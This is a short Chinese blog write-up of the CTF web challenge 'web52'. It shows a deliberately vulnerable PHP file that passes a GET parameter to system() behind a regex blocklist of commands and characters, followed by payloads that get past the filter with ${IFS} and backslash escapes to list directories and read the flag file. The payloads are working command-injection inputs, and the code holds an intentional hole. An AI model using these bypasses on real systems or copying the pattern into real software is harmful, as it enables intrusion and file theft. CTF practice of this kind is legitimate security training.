web52笔记(+过滤<>)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次过滤了<>,⼩问题⽤${IFS}

?c=nl${IFS}fl\ag.php||ls

然后看源代码   但是发现flag改了地⽅

 

于是?c=ls${IFS}/||ls发现flag在根⽬录,所以最终payload为

?c=ls${IFS}/||ls                                                                      ls /

 

?c=nl${IFS}/fl\ag||ls                                                               ls /flag

 

posted @ 2025-03-14 23:53  justdoIT*  阅读(13)  评论(0)    收藏  举报